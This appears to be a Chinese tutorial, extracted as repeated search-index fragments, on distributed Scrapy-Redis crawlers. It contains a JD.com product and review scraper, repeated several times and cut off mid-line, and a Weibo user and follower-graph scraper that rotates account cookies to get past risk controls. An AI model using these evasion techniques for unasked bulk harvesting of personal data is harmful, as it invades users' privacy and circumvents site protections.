万商品，1 亿+评论。 架构设计 系统架构： ┌──────────────┐ │ Master 节点 │ │ (Redis) │ │ ┌──────────┐ │ │ │ 任务队列 │ │ │ │ 去重集合 │ │ │ │ BloomFilter│ │ │ └──────────┘ │ └──────┬───────┘ │ ┌───┴────┬────────┬────────┐ ↓ ↓ ↓ ↓ ┌─────┐ ┌─────┐ ┌─────┐ ┌─────┐ │Slave1│ │Slave2│ │Slave3│ │SlaveN│ │爬虫节点│ │爬虫节点│ │爬虫节点│ │爬虫节点│ └──┬──┘ └──┬──┘ └──┬──┘ └──┬──┘ │ │ │ │ └────────┴────────┴────────┘ ↓ ┌───────────────┐ │ MongoDB │ │ (数据存储) │ └───────────────┘ 性能指标 通过分布式架构实现了显著的性能提升： 爬取速度：从单机 1.5 小时降低到 10 分钟（9x 提升） 并发处理：4 个爬虫节点，每节点 16 并发，总计 64 并发请求 去重效率：使用 Bloom Filter，1 亿 URL 仅占用 128 MB 内存 硬件利用率：达到 85%+ 的 CPU 利用率 总处理量：40x+ 的处理能力提升（相比单机） 实现代码 settings.py 配置： # Scrapy-Redis 分布式配置 SCHEDULER = \"scrapy_redis.scheduler.Scheduler\" DUPEFILTER_CLASS = \"scrapy_redis_bloomfilter.dupefilter.RFPDupeFilter\" # BloomFilter 配置（适配亿级数据） BLOOMFILTER_HASH_NUMBER = 7 BLOOMFILTER_BIT = 33 # 2^33，支持 10 亿+ URL # Redis 主节点配置 REDIS_HOST = '192.168.1.100' REDIS_PORT = 6379 REDIS_PARAMS = { 'password': 'your_redis_password', 'db': 0, 'socket_keepalive': True, 'max_connections': 200, } # 持久化配置（支持断点续爬） SCHEDULER_PERSIST = True SCHEDULER_QUEUE_KEY = '%(spider)s:requests' SCHEDULER_DUPEFILTER_KEY = '%(spider)s:dupefilter' # Pipeline 配置 ITEM_PIPELINES = { 'jd_crawler.pipelines.MongoDBPipeline': 300, 'jd_crawler.pipelines.ImageDownloadPipeline': 400, } # MongoDB 配置 MONGODB_URI = 'mongodb://192.168.1.101:27017' MONGODB_DATABASE = 'jd_products' MONGODB_COLLECTION = 'products' # 并发和延迟配置 CONCURRENT_REQUESTS = 64 # 总并发数 CONCURRENT_REQUESTS_PER_DOMAIN = 16 # 单域名并发 DOWNLOAD_DELAY = 0.2 # 下载延迟 RANDOMIZE_DOWNLOAD_DELAY = True # 随机化延迟 # 自动限速（防止被封） AUTOTHROTTLE_ENABLED = True AUTOTHROTTLE_START_DELAY = 0.5 AUTOTHROTTLE_MAX_DELAY = 3 AUTOTHROTTLE_TARGET_CONCURRENCY = 16.0 # User-Agent 轮换 DOWNLOADER_MIDDLEWARES = { 'scrapy.downloadermiddlewares.useragent.UserAgentMiddleware': None, 'jd_crawler.middlewares.RandomUserAgentMiddleware': 400, 'jd_crawler.middlewares.ProxyMiddleware': 410, } # Cookies 配置 COOKIES_ENABLED = True COOKIES_DEBUG = False spiders/jd_spider.py 爬虫实现： from scrapy_redis.spiders import RedisSpider from jd_crawler.items import ProductItem import json import re class JDSpider(RedisSpider): name = 'jd' redis_key = 'jd:start_urls' # 允许的域名 allowed_domains = ['jd.com', '3.cn'] custom_settings = { 'DEPTH_LIMIT': 5, # 最大爬取深度 } def parse(self, response): \"\"\"解析商品列表页\"\"\" # 提取商品链接 product_links = response.css('div.gl-i-wrap div.p-img a::attr(href)').getall() for link in product_links: if not link.startswith('http'): link = 'https:' + link yield scrapy.Request(link, callback=self.parse_product_detail) # 翻页 next_page = response.css('a.pn-next::attr(href)').get() if next_page: yield response.follow(next_page, callback=self.parse) def parse_product_detail(self, response): \"\"\"解析商品详情页\"\"\" item = ProductItem() # 基本信息 item['product_id'] = self.extract_product_id(response.url) item['url'] = response.url item['title'] = response.css('div.sku-name::text').get('').strip() item['brand'] = response.css('ul#parameter-brand li a::text').get('') # 价格信息（需要额外请求） price_url = f'https://p.3.cn/prices/mgets?skuIds=J_{item[\"product_id\"]}' yield scrapy.Request( price_url, callback=self.parse_price, meta={'item': item} ) def parse_price(self, response): \"\"\"解析价格信息\"\"\" item = response.meta['item'] try: data = json.loads(response.text) if data: item['price'] = data[0].get('p', '0') item['market_price'] = data[0].get('m', '0') except: item['price'] = '0' item['market_price'] = '0' # 评论数据（需要额外请求） comment_url = f'https://club.jd.com/comment/productPageComments.action?productId={item[\"product_id\"]}\u0026score=0\u0026sortType=5\u0026page=0\u0026pageSize=10' yield scrapy.Request( comment_url, callback=self.parse_comment, meta={'item': item} ) def parse_comment(self, response): \"\"\"解析评论信息\"\"\" item = response.meta['item'] try: data = json.loads(response.text) item['comment_count'] = data.get('productCommentSummary', {}).get('commentCount', 0) item['good_rate'] = data","date":"2025-04-26","objectID":"/reverse_engineering/web/06-engineering/distributed_scraping/:4:3","tags":["Web","Docker","代理池","工程实践","分布式","社交媒体"],"title":"分布式爬虫架构","uri":"/reverse_engineering/web/06-engineering/distributed_scraping/#性能指标"},{"categories":null,"collections":null,"content":"示例 3：真实案例 - 京东商品信息分布式爬虫 项目背景：某数据分析公司需要采集京东平台上特定类目（如图书、电子产品）的商品信息，包括价格、评论、销量等数据，用于市场分析和价格监控。数据规模：约 500 万商品，1 亿+评论。 架构设计 系统架构： ┌──────────────┐ │ Master 节点 │ │ (Redis) │ │ ┌──────────┐ │ │ │ 任务队列 │ │ │ │ 去重集合 │ │ │ │ BloomFilter│ │ │ └──────────┘ │ └──────┬───────┘ │ ┌───┴────┬────────┬────────┐ ↓ ↓ ↓ ↓ ┌─────┐ ┌─────┐ ┌─────┐ ┌─────┐ │Slave1│ │Slave2│ │Slave3│ │SlaveN│ │爬虫节点│ │爬虫节点│ │爬虫节点│ │爬虫节点│ └──┬──┘ └──┬──┘ └──┬──┘ └──┬──┘ │ │ │ │ └────────┴────────┴────────┘ ↓ ┌───────────────┐ │ MongoDB │ │ (数据存储) │ └───────────────┘ 性能指标 通过分布式架构实现了显著的性能提升： 爬取速度：从单机 1.5 小时降低到 10 分钟（9x 提升） 并发处理：4 个爬虫节点，每节点 16 并发，总计 64 并发请求 去重效率：使用 Bloom Filter，1 亿 URL 仅占用 128 MB 内存 硬件利用率：达到 85%+ 的 CPU 利用率 总处理量：40x+ 的处理能力提升（相比单机） 实现代码 settings.py 配置： # Scrapy-Redis 分布式配置 SCHEDULER = \"scrapy_redis.scheduler.Scheduler\" DUPEFILTER_CLASS = \"scrapy_redis_bloomfilter.dupefilter.RFPDupeFilter\" # BloomFilter 配置（适配亿级数据） BLOOMFILTER_HASH_NUMBER = 7 BLOOMFILTER_BIT = 33 # 2^33，支持 10 亿+ URL # Redis 主节点配置 REDIS_HOST = '192.168.1.100' REDIS_PORT = 6379 REDIS_PARAMS = { 'password': 'your_redis_password', 'db': 0, 'socket_keepalive': True, 'max_connections': 200, } # 持久化配置（支持断点续爬） SCHEDULER_PERSIST = True SCHEDULER_QUEUE_KEY = '%(spider)s:requests' SCHEDULER_DUPEFILTER_KEY = '%(spider)s:dupefilter' # Pipeline 配置 ITEM_PIPELINES = { 'jd_crawler.pipelines.MongoDBPipeline': 300, 'jd_crawler.pipelines.ImageDownloadPipeline': 400, } # MongoDB 配置 MONGODB_URI = 'mongodb://192.168.1.101:27017' MONGODB_DATABASE = 'jd_products' MONGODB_COLLECTION = 'products' # 并发和延迟配置 CONCURRENT_REQUESTS = 64 # 总并发数 CONCURRENT_REQUESTS_PER_DOMAIN = 16 # 单域名并发 DOWNLOAD_DELAY = 0.2 # 下载延迟 RANDOMIZE_DOWNLOAD_DELAY = True # 随机化延迟 # 自动限速（防止被封） AUTOTHROTTLE_ENABLED = True AUTOTHROTTLE_START_DELAY = 0.5 AUTOTHROTTLE_MAX_DELAY = 3 AUTOTHROTTLE_TARGET_CONCURRENCY = 16.0 # User-Agent 轮换 DOWNLOADER_MIDDLEWARES = { 'scrapy.downloadermiddlewares.useragent.UserAgentMiddleware': None, 'jd_crawler.middlewares.RandomUserAgentMiddleware': 400, 'jd_crawler.middlewares.ProxyMiddleware': 410, } # Cookies 配置 COOKIES_ENABLED = True COOKIES_DEBUG = False spiders/jd_spider.py 爬虫实现： from scrapy_redis.spiders import RedisSpider from jd_crawler.items import ProductItem import json import re class JDSpider(RedisSpider): name = 'jd' redis_key = 'jd:start_urls' # 允许的域名 allowed_domains = ['jd.com', '3.cn'] custom_settings = { 'DEPTH_LIMIT': 5, # 最大爬取深度 } def parse(self, response): \"\"\"解析商品列表页\"\"\" # 提取商品链接 product_links = response.css('div.gl-i-wrap div.p-img a::attr(href)').getall() for link in product_links: if not link.startswith('http'): link = 'https:' + link yield scrapy.Request(link, callback=self.parse_product_detail) # 翻页 next_page = response.css('a.pn-next::attr(href)').get() if next_page: yield response.follow(next_page, callback=self.parse) def parse_product_detail(self, response): \"\"\"解析商品详情页\"\"\" item = ProductItem() # 基本信息 item['product_id'] = self.extract_product_id(response.url) item['url'] = response.url item['title'] = response.css('div.sku-name::text').get('').strip() item['brand'] = response.css('ul#parameter-brand li a::text').get('') # 价格信息（需要额外请求） price_url = f'https://p.3.cn/prices/mgets?skuIds=J_{item[\"product_id\"]}' yield scrapy.Request( price_url, callback=self.parse_price, meta={'item': item} ) def parse_price(self, response): \"\"\"解析价格信息\"\"\" item = response.meta['item'] try: data = json.loads(response.text) if data: item['price'] = data[0].get('p', '0') item['market_price'] = data[0].get('m', '0') except: item['price'] = '0' item['market_price'] = '0' # 评论数据（需要额外请求） comment_url = f'https://club.jd.com/comment/productPageComments.action?productId={item[\"product_id\"]}\u0026score=0\u0026sortType=5\u0026page=0\u0026pageSize=10' yield scrapy.Request( comment_url, callback=self.parse_comment, meta={'item': item} ) def parse_comment(self, response): \"\"\"解析评论信息\"\"\" item = response.meta['item'] try: data = json.loads(response.text) item['comment_count'] = data.get('productCommentSummary', {}).get('commentCount', 0) item['good_rate'] = data","date":"2025-04-26","objectID":"/reverse_engineering/web/06-engineering/distributed_scraping/:4:3","tags":["Web","Docker","代理池","工程实践","分布式","社交媒体"],"title":"分布式爬虫架构","uri":"/reverse_engineering/web/06-engineering/distributed_scraping/#实现代码"},{"categories":null,"collections":null,"content":"示例 3：真实案例 - 京东商品信息分布式爬虫 项目背景：某数据分析公司需要采集京东平台上特定类目（如图书、电子产品）的商品信息，包括价格、评论、销量等数据，用于市场分析和价格监控。数据规模：约 500 万商品，1 亿+评论。 架构设计 系统架构： ┌──────────────┐ │ Master 节点 │ │ (Redis) │ │ ┌──────────┐ │ │ │ 任务队列 │ │ │ │ 去重集合 │ │ │ │ BloomFilter│ │ │ └──────────┘ │ └──────┬───────┘ │ ┌───┴────┬────────┬────────┐ ↓ ↓ ↓ ↓ ┌─────┐ ┌─────┐ ┌─────┐ ┌─────┐ │Slave1│ │Slave2│ │Slave3│ │SlaveN│ │爬虫节点│ │爬虫节点│ │爬虫节点│ │爬虫节点│ └──┬──┘ └──┬──┘ └──┬──┘ └──┬──┘ │ │ │ │ └────────┴────────┴────────┘ ↓ ┌───────────────┐ │ MongoDB │ │ (数据存储) │ └───────────────┘ 性能指标 通过分布式架构实现了显著的性能提升： 爬取速度：从单机 1.5 小时降低到 10 分钟（9x 提升） 并发处理：4 个爬虫节点，每节点 16 并发，总计 64 并发请求 去重效率：使用 Bloom Filter，1 亿 URL 仅占用 128 MB 内存 硬件利用率：达到 85%+ 的 CPU 利用率 总处理量：40x+ 的处理能力提升（相比单机） 实现代码 settings.py 配置： # Scrapy-Redis 分布式配置 SCHEDULER = \"scrapy_redis.scheduler.Scheduler\" DUPEFILTER_CLASS = \"scrapy_redis_bloomfilter.dupefilter.RFPDupeFilter\" # BloomFilter 配置（适配亿级数据） BLOOMFILTER_HASH_NUMBER = 7 BLOOMFILTER_BIT = 33 # 2^33，支持 10 亿+ URL # Redis 主节点配置 REDIS_HOST = '192.168.1.100' REDIS_PORT = 6379 REDIS_PARAMS = { 'password': 'your_redis_password', 'db': 0, 'socket_keepalive': True, 'max_connections': 200, } # 持久化配置（支持断点续爬） SCHEDULER_PERSIST = True SCHEDULER_QUEUE_KEY = '%(spider)s:requests' SCHEDULER_DUPEFILTER_KEY = '%(spider)s:dupefilter' # Pipeline 配置 ITEM_PIPELINES = { 'jd_crawler.pipelines.MongoDBPipeline': 300, 'jd_crawler.pipelines.ImageDownloadPipeline': 400, } # MongoDB 配置 MONGODB_URI = 'mongodb://192.168.1.101:27017' MONGODB_DATABASE = 'jd_products' MONGODB_COLLECTION = 'products' # 并发和延迟配置 CONCURRENT_REQUESTS = 64 # 总并发数 CONCURRENT_REQUESTS_PER_DOMAIN = 16 # 单域名并发 DOWNLOAD_DELAY = 0.2 # 下载延迟 RANDOMIZE_DOWNLOAD_DELAY = True # 随机化延迟 # 自动限速（防止被封） AUTOTHROTTLE_ENABLED = True AUTOTHROTTLE_START_DELAY = 0.5 AUTOTHROTTLE_MAX_DELAY = 3 AUTOTHROTTLE_TARGET_CONCURRENCY = 16.0 # User-Agent 轮换 DOWNLOADER_MIDDLEWARES = { 'scrapy.downloadermiddlewares.useragent.UserAgentMiddleware': None, 'jd_crawler.middlewares.RandomUserAgentMiddleware': 400, 'jd_crawler.middlewares.ProxyMiddleware': 410, } # Cookies 配置 COOKIES_ENABLED = True COOKIES_DEBUG = False spiders/jd_spider.py 爬虫实现： from scrapy_redis.spiders import RedisSpider from jd_crawler.items import ProductItem import json import re class JDSpider(RedisSpider): name = 'jd' redis_key = 'jd:start_urls' # 允许的域名 allowed_domains = ['jd.com', '3.cn'] custom_settings = { 'DEPTH_LIMIT': 5, # 最大爬取深度 } def parse(self, response): \"\"\"解析商品列表页\"\"\" # 提取商品链接 product_links = response.css('div.gl-i-wrap div.p-img a::attr(href)').getall() for link in product_links: if not link.startswith('http'): link = 'https:' + link yield scrapy.Request(link, callback=self.parse_product_detail) # 翻页 next_page = response.css('a.pn-next::attr(href)').get() if next_page: yield response.follow(next_page, callback=self.parse) def parse_product_detail(self, response): \"\"\"解析商品详情页\"\"\" item = ProductItem() # 基本信息 item['product_id'] = self.extract_product_id(response.url) item['url'] = response.url item['title'] = response.css('div.sku-name::text').get('').strip() item['brand'] = response.css('ul#parameter-brand li a::text').get('') # 价格信息（需要额外请求） price_url = f'https://p.3.cn/prices/mgets?skuIds=J_{item[\"product_id\"]}' yield scrapy.Request( price_url, callback=self.parse_price, meta={'item': item} ) def parse_price(self, response): \"\"\"解析价格信息\"\"\" item = response.meta['item'] try: data = json.loads(response.text) if data: item['price'] = data[0].get('p', '0') item['market_price'] = data[0].get('m', '0') except: item['price'] = '0' item['market_price'] = '0' # 评论数据（需要额外请求） comment_url = f'https://club.jd.com/comment/productPageComments.action?productId={item[\"product_id\"]}\u0026score=0\u0026sortType=5\u0026page=0\u0026pageSize=10' yield scrapy.Request( comment_url, callback=self.parse_comment, meta={'item': item} ) def parse_comment(self, response): \"\"\"解析评论信息\"\"\" item = response.meta['item'] try: data = json.loads(response.text) item['comment_count'] = data.get('productCommentSummary', {}).get('commentCount', 0) item['good_rate'] = data","date":"2025-04-26","objectID":"/reverse_engineering/web/06-engineering/distributed_scraping/:4:3","tags":["Web","Docker","代理池","工程实践","分布式","社交媒体"],"title":"分布式爬虫架构","uri":"/reverse_engineering/web/06-engineering/distributed_scraping/#部署和运行"},{"categories":null,"collections":null,"content":"示例 3：真实案例 - 京东商品信息分布式爬虫 项目背景：某数据分析公司需要采集京东平台上特定类目（如图书、电子产品）的商品信息，包括价格、评论、销量等数据，用于市场分析和价格监控。数据规模：约 500 万商品，1 亿+评论。 架构设计 系统架构： ┌──────────────┐ │ Master 节点 │ │ (Redis) │ │ ┌──────────┐ │ │ │ 任务队列 │ │ │ │ 去重集合 │ │ │ │ BloomFilter│ │ │ └──────────┘ │ └──────┬───────┘ │ ┌───┴────┬────────┬────────┐ ↓ ↓ ↓ ↓ ┌─────┐ ┌─────┐ ┌─────┐ ┌─────┐ │Slave1│ │Slave2│ │Slave3│ │SlaveN│ │爬虫节点│ │爬虫节点│ │爬虫节点│ │爬虫节点│ └──┬──┘ └──┬──┘ └──┬──┘ └──┬──┘ │ │ │ │ └────────┴────────┴────────┘ ↓ ┌───────────────┐ │ MongoDB │ │ (数据存储) │ └───────────────┘ 性能指标 通过分布式架构实现了显著的性能提升： 爬取速度：从单机 1.5 小时降低到 10 分钟（9x 提升） 并发处理：4 个爬虫节点，每节点 16 并发，总计 64 并发请求 去重效率：使用 Bloom Filter，1 亿 URL 仅占用 128 MB 内存 硬件利用率：达到 85%+ 的 CPU 利用率 总处理量：40x+ 的处理能力提升（相比单机） 实现代码 settings.py 配置： # Scrapy-Redis 分布式配置 SCHEDULER = \"scrapy_redis.scheduler.Scheduler\" DUPEFILTER_CLASS = \"scrapy_redis_bloomfilter.dupefilter.RFPDupeFilter\" # BloomFilter 配置（适配亿级数据） BLOOMFILTER_HASH_NUMBER = 7 BLOOMFILTER_BIT = 33 # 2^33，支持 10 亿+ URL # Redis 主节点配置 REDIS_HOST = '192.168.1.100' REDIS_PORT = 6379 REDIS_PARAMS = { 'password': 'your_redis_password', 'db': 0, 'socket_keepalive': True, 'max_connections': 200, } # 持久化配置（支持断点续爬） SCHEDULER_PERSIST = True SCHEDULER_QUEUE_KEY = '%(spider)s:requests' SCHEDULER_DUPEFILTER_KEY = '%(spider)s:dupefilter' # Pipeline 配置 ITEM_PIPELINES = { 'jd_crawler.pipelines.MongoDBPipeline': 300, 'jd_crawler.pipelines.ImageDownloadPipeline': 400, } # MongoDB 配置 MONGODB_URI = 'mongodb://192.168.1.101:27017' MONGODB_DATABASE = 'jd_products' MONGODB_COLLECTION = 'products' # 并发和延迟配置 CONCURRENT_REQUESTS = 64 # 总并发数 CONCURRENT_REQUESTS_PER_DOMAIN = 16 # 单域名并发 DOWNLOAD_DELAY = 0.2 # 下载延迟 RANDOMIZE_DOWNLOAD_DELAY = True # 随机化延迟 # 自动限速（防止被封） AUTOTHROTTLE_ENABLED = True AUTOTHROTTLE_START_DELAY = 0.5 AUTOTHROTTLE_MAX_DELAY = 3 AUTOTHROTTLE_TARGET_CONCURRENCY = 16.0 # User-Agent 轮换 DOWNLOADER_MIDDLEWARES = { 'scrapy.downloadermiddlewares.useragent.UserAgentMiddleware': None, 'jd_crawler.middlewares.RandomUserAgentMiddleware': 400, 'jd_crawler.middlewares.ProxyMiddleware': 410, } # Cookies 配置 COOKIES_ENABLED = True COOKIES_DEBUG = False spiders/jd_spider.py 爬虫实现： from scrapy_redis.spiders import RedisSpider from jd_crawler.items import ProductItem import json import re class JDSpider(RedisSpider): name = 'jd' redis_key = 'jd:start_urls' # 允许的域名 allowed_domains = ['jd.com', '3.cn'] custom_settings = { 'DEPTH_LIMIT': 5, # 最大爬取深度 } def parse(self, response): \"\"\"解析商品列表页\"\"\" # 提取商品链接 product_links = response.css('div.gl-i-wrap div.p-img a::attr(href)').getall() for link in product_links: if not link.startswith('http'): link = 'https:' + link yield scrapy.Request(link, callback=self.parse_product_detail) # 翻页 next_page = response.css('a.pn-next::attr(href)').get() if next_page: yield response.follow(next_page, callback=self.parse) def parse_product_detail(self, response): \"\"\"解析商品详情页\"\"\" item = ProductItem() # 基本信息 item['product_id'] = self.extract_product_id(response.url) item['url'] = response.url item['title'] = response.css('div.sku-name::text').get('').strip() item['brand'] = response.css('ul#parameter-brand li a::text').get('') # 价格信息（需要额外请求） price_url = f'https://p.3.cn/prices/mgets?skuIds=J_{item[\"product_id\"]}' yield scrapy.Request( price_url, callback=self.parse_price, meta={'item': item} ) def parse_price(self, response): \"\"\"解析价格信息\"\"\" item = response.meta['item'] try: data = json.loads(response.text) if data: item['price'] = data[0].get('p', '0') item['market_price'] = data[0].get('m', '0') except: item['price'] = '0' item['market_price'] = '0' # 评论数据（需要额外请求） comment_url = f'https://club.jd.com/comment/productPageComments.action?productId={item[\"product_id\"]}\u0026score=0\u0026sortType=5\u0026page=0\u0026pageSize=10' yield scrapy.Request( comment_url, callback=self.parse_comment, meta={'item': item} ) def parse_comment(self, response): \"\"\"解析评论信息\"\"\" item = response.meta['item'] try: data = json.loads(response.text) item['comment_count'] = data.get('productCommentSummary', {}).get('commentCount', 0) item['good_rate'] = data","date":"2025-04-26","objectID":"/reverse_engineering/web/06-engineering/distributed_scraping/:4:3","tags":["Web","Docker","代理池","工程实践","分布式","社交媒体"],"title":"分布式爬虫架构","uri":"/reverse_engineering/web/06-engineering/distributed_scraping/#关键优化点"},{"categories":null,"collections":null,"content":"示例 3：真实案例 - 京东商品信息分布式爬虫 项目背景：某数据分析公司需要采集京东平台上特定类目（如图书、电子产品）的商品信息，包括价格、评论、销量等数据，用于市场分析和价格监控。数据规模：约 500 万商品，1 亿+评论。 架构设计 系统架构： ┌──────────────┐ │ Master 节点 │ │ (Redis) │ │ ┌──────────┐ │ │ │ 任务队列 │ │ │ │ 去重集合 │ │ │ │ BloomFilter│ │ │ └──────────┘ │ └──────┬───────┘ │ ┌───┴────┬────────┬────────┐ ↓ ↓ ↓ ↓ ┌─────┐ ┌─────┐ ┌─────┐ ┌─────┐ │Slave1│ │Slave2│ │Slave3│ │SlaveN│ │爬虫节点│ │爬虫节点│ │爬虫节点│ │爬虫节点│ └──┬──┘ └──┬──┘ └──┬──┘ └──┬──┘ │ │ │ │ └────────┴────────┴────────┘ ↓ ┌───────────────┐ │ MongoDB │ │ (数据存储) │ └───────────────┘ 性能指标 通过分布式架构实现了显著的性能提升： 爬取速度：从单机 1.5 小时降低到 10 分钟（9x 提升） 并发处理：4 个爬虫节点，每节点 16 并发，总计 64 并发请求 去重效率：使用 Bloom Filter，1 亿 URL 仅占用 128 MB 内存 硬件利用率：达到 85%+ 的 CPU 利用率 总处理量：40x+ 的处理能力提升（相比单机） 实现代码 settings.py 配置： # Scrapy-Redis 分布式配置 SCHEDULER = \"scrapy_redis.scheduler.Scheduler\" DUPEFILTER_CLASS = \"scrapy_redis_bloomfilter.dupefilter.RFPDupeFilter\" # BloomFilter 配置（适配亿级数据） BLOOMFILTER_HASH_NUMBER = 7 BLOOMFILTER_BIT = 33 # 2^33，支持 10 亿+ URL # Redis 主节点配置 REDIS_HOST = '192.168.1.100' REDIS_PORT = 6379 REDIS_PARAMS = { 'password': 'your_redis_password', 'db': 0, 'socket_keepalive': True, 'max_connections': 200, } # 持久化配置（支持断点续爬） SCHEDULER_PERSIST = True SCHEDULER_QUEUE_KEY = '%(spider)s:requests' SCHEDULER_DUPEFILTER_KEY = '%(spider)s:dupefilter' # Pipeline 配置 ITEM_PIPELINES = { 'jd_crawler.pipelines.MongoDBPipeline': 300, 'jd_crawler.pipelines.ImageDownloadPipeline': 400, } # MongoDB 配置 MONGODB_URI = 'mongodb://192.168.1.101:27017' MONGODB_DATABASE = 'jd_products' MONGODB_COLLECTION = 'products' # 并发和延迟配置 CONCURRENT_REQUESTS = 64 # 总并发数 CONCURRENT_REQUESTS_PER_DOMAIN = 16 # 单域名并发 DOWNLOAD_DELAY = 0.2 # 下载延迟 RANDOMIZE_DOWNLOAD_DELAY = True # 随机化延迟 # 自动限速（防止被封） AUTOTHROTTLE_ENABLED = True AUTOTHROTTLE_START_DELAY = 0.5 AUTOTHROTTLE_MAX_DELAY = 3 AUTOTHROTTLE_TARGET_CONCURRENCY = 16.0 # User-Agent 轮换 DOWNLOADER_MIDDLEWARES = { 'scrapy.downloadermiddlewares.useragent.UserAgentMiddleware': None, 'jd_crawler.middlewares.RandomUserAgentMiddleware': 400, 'jd_crawler.middlewares.ProxyMiddleware': 410, } # Cookies 配置 COOKIES_ENABLED = True COOKIES_DEBUG = False spiders/jd_spider.py 爬虫实现： from scrapy_redis.spiders import RedisSpider from jd_crawler.items import ProductItem import json import re class JDSpider(RedisSpider): name = 'jd' redis_key = 'jd:start_urls' # 允许的域名 allowed_domains = ['jd.com', '3.cn'] custom_settings = { 'DEPTH_LIMIT': 5, # 最大爬取深度 } def parse(self, response): \"\"\"解析商品列表页\"\"\" # 提取商品链接 product_links = response.css('div.gl-i-wrap div.p-img a::attr(href)').getall() for link in product_links: if not link.startswith('http'): link = 'https:' + link yield scrapy.Request(link, callback=self.parse_product_detail) # 翻页 next_page = response.css('a.pn-next::attr(href)').get() if next_page: yield response.follow(next_page, callback=self.parse) def parse_product_detail(self, response): \"\"\"解析商品详情页\"\"\" item = ProductItem() # 基本信息 item['product_id'] = self.extract_product_id(response.url) item['url'] = response.url item['title'] = response.css('div.sku-name::text').get('').strip() item['brand'] = response.css('ul#parameter-brand li a::text').get('') # 价格信息（需要额外请求） price_url = f'https://p.3.cn/prices/mgets?skuIds=J_{item[\"product_id\"]}' yield scrapy.Request( price_url, callback=self.parse_price, meta={'item': item} ) def parse_price(self, response): \"\"\"解析价格信息\"\"\" item = response.meta['item'] try: data = json.loads(response.text) if data: item['price'] = data[0].get('p', '0') item['market_price'] = data[0].get('m', '0') except: item['price'] = '0' item['market_price'] = '0' # 评论数据（需要额外请求） comment_url = f'https://club.jd.com/comment/productPageComments.action?productId={item[\"product_id\"]}\u0026score=0\u0026sortType=5\u0026page=0\u0026pageSize=10' yield scrapy.Request( comment_url, callback=self.parse_comment, meta={'item': item} ) def parse_comment(self, response): \"\"\"解析评论信息\"\"\" item = response.meta['item'] try: data = json.loads(response.text) item['comment_count'] = data.get('productCommentSummary', {}).get('commentCount', 0) item['good_rate'] = data","date":"2025-04-26","objectID":"/reverse_engineering/web/06-engineering/distributed_scraping/:4:3","tags":["Web","Docker","代理池","工程实践","分布式","社交媒体"],"title":"分布式爬虫架构","uri":"/reverse_engineering/web/06-engineering/distributed_scraping/#实际效果"},{"categories":null,"collections":null,"content":"示例 4：真实案例 - 新浪微博用户信息爬虫 项目背景：采集新浪微博用户的个人信息、微博内容、粉丝和关注关系，用于社交网络分析。 技术栈：Scrapy + Scrapy-Redis + MongoDB + Graphite（监控） 性能数据： 用户规模：2000 万+ 用户 微博数量：5 亿+ 条微博 爬取周期：持续运行 3 个月 平均速度：约 150 用户/分钟 存储大小：MongoDB 集群 2TB+ 核心挑战： 反爬虫对抗：微博有严格的访问频率限制和账号风控 关系网络复杂：需要处理用户之间的关注/粉丝关系 数据量巨大：需要高效的存储和去重方案 解决方案： # 使用账号池轮换 class WeiboSpider(RedisSpider): name = 'weibo' def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) self.account_pool = AccountPool() # 账号池管理 def start_requests(self): # 从账号池获取 cookie cookies = self.account_pool.get_cookie() for url in self.start_urls: yield scrapy.Request(url, cookies=cookies) def parse_user(self, response): # 解析用户信息 user_item = UserItem() user_item['uid'] = response.meta['uid'] user_item['nickname'] = response.css('div.name::text').get() # ... 其他字段 yield user_item # 爬取粉丝和关注 followers_url = f'https://weibo.com/ajax/friendships/followers?uid={uid}' yield scrapy.Request(followers_url, callback=self.parse_followers) 参考来源： Python 爬虫实战项目代码大全 WebCrawlProject：真实爬虫项目集合 ","date":"2025-04-26","objectID":"/reverse_engineering/web/06-engineering/distributed_scraping/:4:4","tags":["Web","Docker","代理池","工程实践","分布式","社交媒体"],"title":"分布式爬虫架构","uri":"/reverse_engineering/web/06-engineering/distributed_scraping/#示例-4真实案例---新浪微博用户信息爬虫"},{"categories":null,"collections":null,"content":"最佳实践 ","date":"2025-04-26","objectID":"/reverse_engineering/web/06-engineering/distributed_scraping/:5:0","tags":["Web","Docker","代理池","工程实践","分布式","社交媒体"],"title":"分布式爬虫架构","uri":"/reverse_engineering/web/06-engineering/distributed_scraping/#最佳实践"},{"categories":null,"collections":null,"content":"1. 架构设计 推荐架构组件： 任务队列：Redis（小规模）或 Kafka/RabbitMQ（大规模） 去重存储：Redis Bloom Filter（内存充足时用 Redis Set） 数据存储：MongoDB（灵活）/ MySQL（结构化）/ Elasticsearch（搜索） 监控：Prometheus + Grafana / ELK Stack 配置管理：Consul / etcd ","date":"2025-04-26","objectID":"/reverse_engineering/web/06-engineering/distributed_scraping/:5:1","tags":["Web","Docker","代理池","工程实践","分布式","社交媒体"],"title":"分布式爬虫架构","uri":"/reverse_engineering/web/06-engineering/distributed_scraping/#1-架构设计"},{"categories":null,"collections":null,"content":"2. 性能优化 并发控制： # settings.py CONCURRENT_REQUESTS = 100 # 全局并发 CONCURRENT_REQUESTS_PER_DOMAIN = 16 # 单域名并发 CONCURRENT_REQUESTS_PER_IP = 16 # 单 IP 并发 # 下载延迟 DOWNLOAD_DELAY = 0.25 RANDOMIZE_DOWNLOAD_DELAY = True # 启用自动限速 AUTOTHROTTLE_ENABLED = True AUTOTHROTTLE_START_DELAY = 0.5 AUTOTHROTTLE_MAX_DELAY = 10 AUTOTHROTTLE_TARGET_CONCURRENCY = 100 连接池优化： # 增加 Redis 连接池大小 REDIS_PARAMS = { 'socket_keepalive': True, 'socket_keepalive_options': { socket.TCP_KEEPIDLE: 60, socket.TCP_KEEPINTVL: 10, socket.TCP_KEEPCNT: 3, }, 'health_check_interval': 30, 'max_connections': 100, } ","date":"2025-04-26","objectID":"/reverse_engineering/web/06-engineering/distributed_scraping/:5:2","tags":["Web","Docker","代理池","工程实践","分布式","社交媒体"],"title":"分布式爬虫架构","uri":"/reverse_engineering/web/06-engineering/distributed_scraping/#2-性能优化"},{"categories":null,"collections":null,"content":"3. 容错处理 请求重试： # settings.py RETRY_ENABLED = True RETRY_TIMES = 3 RETRY_HTTP_CODES = [500, 502, 503, 504, 408, 429] 节点监控和自动恢复： import redis import time from datetime import datetime class NodeMonitor: def __init__(self): self.r = redis.Redis() self.node_id = socket.gethostname() def register_node(self): \"\"\"注册节点\"\"\" self.r.setex(f'node:{self.node_id}', 60, datetime.now().isoformat()) def heartbeat(self): \"\"\"定期发送心跳\"\"\" while True: try: self.register_node() time.sleep(30) except Exception as e: print(f\"Heartbeat failed: {e}\") time.sleep(5) def check_dead_nodes(self): \"\"\"检查失效节点\"\"\" for key in 